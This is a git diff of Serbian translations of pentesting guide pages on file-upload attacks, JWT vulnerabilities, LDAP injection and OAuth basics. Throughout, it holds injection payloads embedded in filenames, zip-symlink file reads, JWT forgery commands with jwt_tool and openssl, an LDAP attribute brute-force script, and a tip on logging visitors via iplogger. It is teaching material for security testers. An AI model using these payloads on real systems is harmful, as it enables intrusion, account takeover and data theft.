- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesterima i Lovcima na greške u testiranju mehanizama za upload datoteka. Koristi razne tehnike bug bounty-a kako bi pojednostavio proces identifikacije i eksploatacije ranjivosti, osiguravajući temeljne procene web aplikacija.
|
||||
|
||||
## Od učitavanja datoteka do drugih ranjivosti
|
||||
## Od upload-a datoteka do drugih ranjivosti
|
||||
|
||||
- Postavite **ime datoteke** na `../../../tmp/lol.png` i pokušajte da postignete **putanju prelaza**
|
||||
- Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injekciju**
|
||||
- Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
|
||||
- Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
|
||||
- [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
- **JS** datoteka **upload** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
- [**XXE u uploadu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Otvoreno preusmeravanje** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Postavite **ime datoteke** na `../../../tmp/lol.png` i pokušajte da postignete **path traversal**
|
||||
- Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injection**
|
||||
- Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da postignete XSS
|
||||
- Postavite **ime datoteke** na `; sleep 10;` da testirate neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
|
||||
- [**XSS** u upload-u slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
- **JS** datoteka **upload** + **XSS** = [**exploatacija Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
- [**XXE u upload-u svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** putem upload-a svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Pokušajte **različite svg payload-e** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
- [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije od svakog posetioca**.
|
||||
- [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove, mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
|
||||
- Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
|
||||
- Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
|
||||
- [**XXE i CORS** zaobilaženje sa PDF-Adobe upload-om](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da dobijete JS izvršenje**](../xss-cross-site-scripting/pdf-injection.md). Ako možete upload-ovati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
|
||||
- Upload-ujte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
|
||||
- Proverite da li postoji neki **ograničenje veličine** prilikom upload-a datoteka
|
||||
|
||||
Evo top 10 liste stvari koje možete postići učitavanjem (iz [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Evo top 10 liste stvari koje možete postići upload-ovanjem (iz [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -189,14 +188,16 @@ Evo top 10 liste stvari koje možete postići učitavanjem (iz [ovde](https://tw
|
||||
4. **CSV**: CSV injekcija
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : HTML injekcija / XSS / Otvoreno preusmeravanje
|
||||
8. **PNG / JPEG**: Pixel flood napad (DoS)
|
||||
7. **HTML / JS** : HTML injekcija / XSS / Open redirect
|
||||
8. **PNG / JPEG**: Pixel flood attack (DoS)
|
||||
9. **ZIP**: RCE putem LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Burp Ekstenzija
|
||||
|
||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||
{{#ref}}
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Magični Header Bajtovi
|
||||
|
||||
@ -207,11 +208,11 @@ Pogledajte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wi
|
||||
|
||||
### Zip/Tar datoteka automatski dekompresovana upload
|
||||
|
||||
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
|
||||
Ako možete upload-ovati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
|
||||
|
||||
#### Symlink
|
||||
|
||||
Učitajte link koji sadrži softverske linkove na druge datoteke, zatim, pristupajući dekompresovanim datotekama, imaćete pristup povezanim datotekama:
|
||||
Upload-ujte link koji sadrži soft linkove ka drugim datotekama, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -279,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (form [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (iz [eksploita](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -296,11 +297,11 @@ Više informacija na: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
|
||||
|
||||
## Poliglot datoteke
|
||||
|
||||
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe moguće.
|
||||
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
|
||||
|
||||
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može neprimetno zaobići ova ograničenja.
|
||||
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteka). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može neprimetno zaobići ova ograničenja.
|
||||
|
||||
I pored svoje prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
|
||||
Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
|
||||
|
||||
Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
@ -313,5 +314,4 @@ Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,11 @@
|
||||
# JWT ranjivosti (Json Web Tokens)
|
||||
# JWT Ranljivosti (Json Web Tokens)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**Deo ovog posta se zasniva na sjajnom postu:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\
|
||||
**Autor sjajnog alata za pentesting JWT-ova** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool)
|
||||
|
||||
### **Brze pobede**
|
||||
### **Brze Pobjede**
|
||||
|
||||
Pokrenite [**jwt_tool**](https://github.com/ticarpi/jwt_tool) u režimu `All Tests!` i sačekajte zelene linije
|
||||
```bash
|
||||
@ -31,9 +31,9 @@ Možete samo manipulisati podacima ostavljajući potpis nepromenjenim i proverit
|
||||
|
||||
Da biste proverili da li se potpis JWT-a verifikuje:
|
||||
|
||||
- Poruka o grešci sugeriše da je verifikacija u toku; osetljive informacije u detaljnim greškama treba pregledati.
|
||||
- Promena u vraćenoj stranici takođe ukazuje na verifikaciju.
|
||||
- Nema promene sugeriše da nema verifikacije; tada treba eksperimentisati sa manipulacijom tvrdnjama u payload-u.
|
||||
- Poruka o grešci sugeriše da je verifikacija u toku; osetljive detalje u opširnim greškama treba pregledati.
|
||||
- Promena na vraćenoj stranici takođe ukazuje na verifikaciju.
|
||||
- Nema promene sugeriše da nema verifikacije; ovo je trenutak da eksperimentišete sa manipulacijom tvrdnjama u payload-u.
|
||||
|
||||
### Izvor
|
||||
|
||||
@ -54,37 +54,37 @@ Proverite da li token traje više od 24h... možda nikada ne ističe. Ako postoj
|
||||
|
||||
Postavite korišćeni algoritam na "None" i uklonite deo sa potpisom.
|
||||
|
||||
Koristite Burp ekstenziju pod nazivom "JSON Web Token" da biste isprobali ovu ranjivost i promenili različite vrednosti unutar JWT-a (pošaljite zahtev u Repeater i u "JSON Web Token" tabu možete modifikovati vrednosti tokena. Takođe možete odabrati da postavite vrednost polja "Alg" na "None").
|
||||
Koristite Burp ekstenziju pod nazivom "JSON Web Token" da biste isprobali ovu ranjivost i promenili različite vrednosti unutar JWT-a (pošaljite zahtev u Repeater i u "JSON Web Token" tabu možete modifikovati vrednosti tokena. Takođe možete odabrati da stavite vrednost polja "Alg" na "None").
|
||||
|
||||
### Promenite algoritam RS256(asimetrični) na HS256(simetrični) (CVE-2016-5431/CVE-2016-10555)
|
||||
### Promenite algoritam RS256 (asimetrični) na HS256 (simetrični) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
Algoritam HS256 koristi tajni ključ za potpisivanje i verifikaciju svake poruke.\
|
||||
Algoritam RS256 koristi privatni ključ za potpisivanje poruke i koristi javni ključ za autentifikaciju.
|
||||
|
||||
Ako promenite algoritam sa RS256 na HS256, kod na backend-u koristi javni ključ kao tajni ključ i zatim koristi HS256 algoritam za verifikaciju potpisa.
|
||||
|
||||
Zatim, koristeći javni ključ i menjajući RS256 u HS256 mogli bismo kreirati validan potpis. Možete preuzeti sertifikat web servera izvršavajući ovo:
|
||||
Zatim, koristeći javni ključ i menjajući RS256 u HS256 mogli bismo kreirati važeći potpis. Možete preuzeti sertifikat web servera izvršavajući ovo:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
```
|
||||
### Nova javna ključ unutar zaglavlja
|
||||
### Nova javna ključ unutar header-a
|
||||
|
||||
Napadač ugrađuje novi ključ u zaglavlje tokena, a server koristi ovaj novi ključ za verifikaciju potpisa (CVE-2018-0114).
|
||||
Napadač ugrađuje novi ključ u header tokena, a server koristi ovaj novi ključ za verifikaciju potpisa (CVE-2018-0114).
|
||||
|
||||
Ovo se može uraditi sa "JSON Web Tokens" Burp ekstenzijom.\
|
||||
(Pošaljite zahtev u Repeater, unutar JSON Web Token taba izaberite "CVE-2018-0114" i pošaljite zahtev).
|
||||
|
||||
### JWKS Spoofing
|
||||
|
||||
Uputstva detaljno opisuju metodu za procenu bezbednosti JWT tokena, posebno onih koji koriste "jku" zaglavlje. Ovo zaglavlje bi trebalo da vodi do JWKS (JSON Web Key Set) datoteke koja sadrži javni ključ neophodan za verifikaciju tokena.
|
||||
Uputstva detaljno opisuju metodu za procenu bezbednosti JWT tokena, posebno onih koji koriste "jku" header claim. Ovaj claim bi trebao da vodi do JWKS (JSON Web Key Set) fajla koji sadrži javni ključ neophodan za verifikaciju tokena.
|
||||
|
||||
- **Procena Tokena sa "jku" Zaglavljem**:
|
||||
- Proverite URL "jku" tvrdnje da biste osigurali da vodi do odgovarajuće JWKS datoteke.
|
||||
- Izmenite "jku" vrednost tokena da usmerite ka kontrolisanoj veb usluzi, omogućavajući posmatranje saobraćaja.
|
||||
- **Procena Tokena sa "jku" Header-om**:
|
||||
- Proverite URL "jku" claim-a da biste osigurali da vodi do odgovarajućeg JWKS fajla.
|
||||
- Izmenite "jku" vrednost tokena da usmerite ka kontrolisanoj web usluzi, omogućavajući posmatranje saobraćaja.
|
||||
- **Praćenje HTTP Interakcije**:
|
||||
- Posmatranje HTTP zahteva ka vašem specificiranom URL-u ukazuje na pokušaje servera da preuzme ključeve sa vašeg linka.
|
||||
- Kada koristite `jwt_tool` za ovaj proces, važno je ažurirati `jwtconf.ini` datoteku sa vašom ličnom JWKS lokacijom kako bi se olakšalo testiranje.
|
||||
- Kada koristite `jwt_tool` za ovaj proces, ključno je ažurirati `jwtconf.ini` fajl sa vašom ličnom JWKS lokacijom kako bi se olakšalo testiranje.
|
||||
- **Komanda za `jwt_tool`**:
|
||||
|
||||
- Izvršite sledeću komandu da simulirate scenario sa `jwt_tool`:
|
||||
@ -95,15 +95,15 @@ python3 jwt_tool.py JWT_HERE -X s
|
||||
|
||||
### Pregled Problema sa Kid
|
||||
|
||||
Opcionalna zaglavna tvrdnja poznata kao `kid` koristi se za identifikaciju specifičnog ključa, što postaje posebno važno u okruženjima gde postoji više ključeva za verifikaciju potpisa tokena. Ova tvrdnja pomaže u odabiru odgovarajućeg ključa za verifikaciju potpisa tokena.
|
||||
Opcioni header claim poznat kao `kid` se koristi za identifikaciju specifičnog ključa, što postaje posebno važno u okruženjima gde postoji više ključeva za verifikaciju potpisa tokena. Ovaj claim pomaže u odabiru odgovarajućeg ključa za verifikaciju potpisa tokena.
|
||||
|
||||
#### Otkriće Ključa kroz "kid"
|
||||
|
||||
Kada je `kid` tvrdnja prisutna u zaglavlju, preporučuje se pretraživanje veb direktorijuma za odgovarajuću datoteku ili njene varijacije. Na primer, ako je `"kid":"key/12345"` specificirano, datoteke _/key/12345_ i _/key/12345.pem_ treba pretražiti u veb korenu.
|
||||
Kada je `kid` claim prisutan u header-u, savetuje se da se pretraži web direktorijum za odgovarajući fajl ili njegove varijacije. Na primer, ako je `"kid":"key/12345"` specificirano, fajlovi _/key/12345_ i _/key/12345.pem_ trebaju se pretražiti u web root-u.
|
||||
|
||||
#### Putanja Prelaz sa "kid"
|
||||
#### Putanja Traversal sa "kid"
|
||||
|
||||
`kid` tvrdnja se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući izbor proizvoljne datoteke. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade izmenom `kid` vrednosti kako bi se ciljali specifični fajlovi ili usluge. Manipulacija JWT-om da se promeni `kid` vrednost dok se zadržava originalni potpis može se postići korišćenjem `-T` oznake u jwt_tool, kao što je prikazano u nastavku:
|
||||
`kid` claim se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući izbor proizvoljnog fajla. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade izmenom `kid` vrednosti da bi se ciljali specifični fajlovi ili usluge. Manipulacija JWT-om da se promeni `kid` vrednost dok se zadržava originalni potpis može se postići korišćenjem `-T` flag-a u jwt_tool, kao što je prikazano u nastavku:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
@ -128,7 +128,7 @@ Scenario u kojem `kid` parametar specificira putanju do datoteke koja se koristi
|
||||
#### jku
|
||||
|
||||
jku označava **JWK Set URL**.\
|
||||
Ako token koristi “**jku**” **Header** tvrdnju, onda **proverite dati URL**. Ovo bi trebalo da upućuje na URL koji sadrži JWKS datoteku koja drži javni ključ za verifikaciju tokena. Izmenite token da upućuje jku vrednost na web servis za koji možete pratiti saobraćaj.
|
||||
Ako token koristi “**jku**” **Header** tvrdnju, onda **proverite pruženi URL**. Ovo bi trebalo da upućuje na URL koji sadrži JWKS datoteku koja drži javni ključ za verifikaciju tokena. Izmenite token da upućuje jku vrednost na web servis za koji možete pratiti saobraćaj.
|
||||
|
||||
Prvo treba da kreirate novi sertifikat sa novim privatnim i javnim ključevima.
|
||||
```bash
|
||||
@ -162,7 +162,7 @@ Zatim možete koristiti na primer [**jwt.io**](https://jwt.io) da kreirate novi
|
||||
|
||||
.png>)
|
||||
|
||||
Takođe možete zloupotrebiti obe ove ranjivosti **za SSRF.**
|
||||
Takođe možete zloupotrebiti obe ove ranjivosti **za SSRF-ove**.
|
||||
|
||||
#### x5c
|
||||
|
||||
@ -170,7 +170,7 @@ Ovaj parametar može sadržati **sertifikat u base64**:
|
||||
|
||||
.png>)
|
||||
|
||||
Ako napadač **generiše samopotpisani sertifikat** i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novokreiranim sertifikatom i modifikuje ostale parametre, naime n, e i x5t, tada bi lažni token u suštini bio prihvaćen od strane servera.
|
||||
Ako napadač **generiše samopotpisani sertifikat** i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novokreiranim sertifikatom i modifikuje ostale parametre, naime n, e i x5t, tada bi suštinski lažni token bio prihvaćen od strane servera.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
@ -207,13 +207,13 @@ const publicComponents = key.exportKey('components-public');
|
||||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
Na kraju, koristeći javni i privatni ključ i nove "n" i "e" vrednosti, možete koristiti [jwt.io](https://jwt.io) da falsifikujete novi validni JWT sa bilo kojim informacijama.
|
||||
Konačno, koristeći javni i privatni ključ i nove "n" i "e" vrednosti, možete koristiti [jwt.io](https://jwt.io) da falsifikujete novi validni JWT sa bilo kojim informacijama.
|
||||
|
||||
### ES256: Otkriće privatnog ključa sa istim nonce-om
|
||||
### ES256: Otkivanje privatnog ključa sa istim nonce-om
|
||||
|
||||
Ako neke aplikacije koriste ES256 i koriste isti nonce za generisanje dva jwta, privatni ključ može biti obnovljen.
|
||||
|
||||
Evo jednog primera: [ECDSA: Otkriće privatnog ključa, ako se koristi isti nonce (sa SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
Evo jednog primera: [ECDSA: Otkivanje privatnog ključa, ako je korišćen isti nonce (sa SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
@ -222,13 +222,15 @@ Međutim, zamislite situaciju u kojoj je maksimalna dužina ID-a 4 (0001-9999).
|
||||
|
||||
### Registrovane tvrdnje JWT-a
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
{{#ref}}
|
||||
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
|
||||
{{#endref}}
|
||||
|
||||
### Drugi napadi
|
||||
### Druge napade
|
||||
|
||||
**Napadi preusmeravanja između usluga**
|
||||
|
||||
Primećeno je da neke web aplikacije oslanjaju na pouzdanu JWT uslugu za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi gde je token, generisan za jednog klijenta od strane JWT usluge, prihvaćen od strane drugog klijenta iste JWT usluge. Ako se primeti izdavanje ili obnova JWT-a putem usluge treće strane, treba istražiti mogućnost registracije na račun drugog klijenta te usluge koristeći isto korisničko ime/email. Zatim bi trebalo pokušati ponovo poslati dobijeni token u zahtevu ka cilju da se vidi da li će biti prihvaćen.
|
||||
Primećeno je da neke web aplikacije oslanjaju na pouzdanu JWT uslugu za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi kada je token, generisan za jednog klijenta od strane JWT usluge, prihvaćen od strane drugog klijenta iste JWT usluge. Ako se primeti izdavanje ili obnova JWT-a putem usluge treće strane, treba istražiti mogućnost registracije na račun drugog klijenta te usluge koristeći isto korisničko ime/email. Zatim bi trebalo pokušati ponovo poslati dobijeni token u zahtevu ka cilju da se vidi da li će biti prihvaćen.
|
||||
|
||||
- Kritični problem može biti naznačen prihvatanjem vašeg tokena, potencijalno omogućavajući lažno predstavljanje bilo kog korisničkog računa. Međutim, treba napomenuti da bi mogla biti potrebna dozvola za šire testiranje ako se registrujete na aplikaciji treće strane, jer bi to moglo ući u pravnu sivu zonu.
|
||||
|
||||
@ -240,7 +242,8 @@ Istek tokena se proverava korišćenjem "exp" Payload tvrdnje. S obzirom na to d
|
||||
|
||||
### Alati
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/ticarpi/jwt_tool
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## LDAP Injection
|
||||
|
||||
### **LDAP**
|
||||
@ -149,7 +148,7 @@ Možete iterirati preko ascii slova, cifara i simbola:
|
||||
|
||||
#### **Otkrivanje validnih LDAP polja**
|
||||
|
||||
LDAP objekti **po defaultu sadrže nekoliko atributa** koji se mogu koristiti za **čuvanje informacija**. Možete pokušati da **brute-force-ujete sve njih kako biste izvukli te informacije.** Možete pronaći listu [**default LDAP atributa ovde**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
|
||||
LDAP objekti **sadrže po defaultu nekoliko atributa** koji se mogu koristiti za **čuvanje informacija**. Možete pokušati da **brute-force-ujete sve njih kako biste izvukli te informacije.** Možete pronaći listu [**default LDAP atributa ovde**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
@ -202,9 +201,10 @@ break
|
||||
```bash
|
||||
intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
### Više Payloads
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
### Više Payload-a
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,27 +2,26 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Osnovne informacije <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth nudi različite verzije, sa osnovnim uvidima dostupnim na [OAuth 2.0 dokumentacija](https://oauth.net/2/). Ova diskusija se prvenstveno fokusira na široko korišćeni [OAuth 2.0 tip granta za autorizaciju](https://oauth.net/2/grant-types/authorization-code/), pružajući **okvir autorizacije koji omogućava aplikaciji da pristupi ili izvrši radnje na korisničkom nalogu u drugoj aplikaciji** (server za autorizaciju).
|
||||
OAuth nudi različite verzije, sa osnovnim uvidima dostupnim na [OAuth 2.0 dokumentacija](https://oauth.net/2/). Ova diskusija se prvenstveno fokusira na široko korišćeni [OAuth 2.0 tip dodeljivanja autorizacionog koda](https://oauth.net/2/grant-types/authorization-code/), pružajući **okvir autorizacije koji omogućava aplikaciji da pristupi ili izvrši radnje na korisničkom nalogu u drugoj aplikaciji** (autorizacioni server).
|
||||
|
||||
Zamislite hipotetičku veb stranicu _**https://example.com**_, dizajniranu da **prikaže sve vaše objave na društvenim mrežama**, uključujući privatne. Da bi to postigla, koristi se OAuth 2.0. _https://example.com_ će zatražiti vašu dozvolu da **pristupi vašim objavama na društvenim mrežama**. Kao rezultat toga, na _https://socialmedia.com_ će se pojaviti ekran za saglasnost, koji će prikazati **dozvole koje se traže i programera koji pravi zahtev**. Nakon vaše autorizacije, _https://example.com_ dobija mogućnost da **pristupi vašim objavama u vaše ime**.
|
||||
Zamislite hipotetičku veb stranicu _**https://example.com**_, dizajniranu da **prikaže sve vaše objave na društvenim mrežama**, uključujući privatne. Da bi to postigla, koristi se OAuth 2.0. _https://example.com_ će zatražiti vašu dozvolu da **pristupi vašim objavama na društvenim mrežama**. Kao rezultat toga, na _https://socialmedia.com_ će se pojaviti ekran za saglasnost, koji će prikazati **dozvole koje se traže i programera koji podnosi zahtev**. Nakon vaše autorizacije, _https://example.com_ dobija mogućnost da **pristupi vašim objavama u vaše ime**.
|
||||
|
||||
Važno je razumeti sledeće komponente unutar OAuth 2.0 okvira:
|
||||
|
||||
- **vlasnik resursa**: Vi, kao **korisnik/entitet**, autorizujete pristup vašem resursu, kao što su objave na vašem nalogu na društvenim mrežama.
|
||||
- **server resursa**: **server koji upravlja autentifikovanim zahtevima** nakon što je aplikacija obezbedila `access token` u ime `vlasnika resursa`, npr. **https://socialmedia.com**.
|
||||
- **klijentska aplikacija**: **aplikacija koja traži autorizaciju** od `vlasnika resursa`, kao što je **https://example.com**.
|
||||
- **server za autorizaciju**: **server koji izdaje `access tokens`** klijentskoj aplikaciji nakon uspešne autentifikacije `vlasnika resursa` i obezbeđivanja autorizacije, npr. **https://socialmedia.com**.
|
||||
- **autorizacioni server**: **server koji izdaje `access tokens`** klijentskoj aplikaciji nakon uspešne autentifikacije `vlasnika resursa` i obezbeđivanja autorizacije, npr. **https://socialmedia.com**.
|
||||
- **client_id**: Javni, jedinstveni identifikator za aplikaciju.
|
||||
- **client_secret:** Tajni ključ, poznat samo aplikaciji i serveru za autorizaciju, koji se koristi za generisanje `access_tokens`.
|
||||
- **client_secret:** Tajni ključ, poznat samo aplikaciji i autorizacionom serveru, koji se koristi za generisanje `access_tokens`.
|
||||
- **response_type**: Vrednost koja specificira **tip tokena koji se traži**, kao što je `code`.
|
||||
- **scope**: **nivo pristupa** koji klijentska aplikacija traži od `vlasnika resursa`.
|
||||
- **redirect_uri**: **URL na koji se korisnik preusmerava nakon autorizacije**. Ovo obično mora biti u skladu sa unapred registrovanim URL-om za preusmeravanje.
|
||||
- **state**: Parametar za **održavanje podataka tokom korisnikovog preusmeravanja ka i sa servera za autorizaciju**. Njegova jedinstvenost je ključna za služenje kao **mehanizam zaštite od CSRF**.
|
||||
- **grant_type**: Parametar koji označava **tip granta i tip tokena koji treba da bude vraćen**.
|
||||
- **code**: Autorizacioni kod sa `servera za autorizaciju`, koji klijentska aplikacija koristi zajedno sa `client_id` i `client_secret` da bi dobila `access_token`.
|
||||
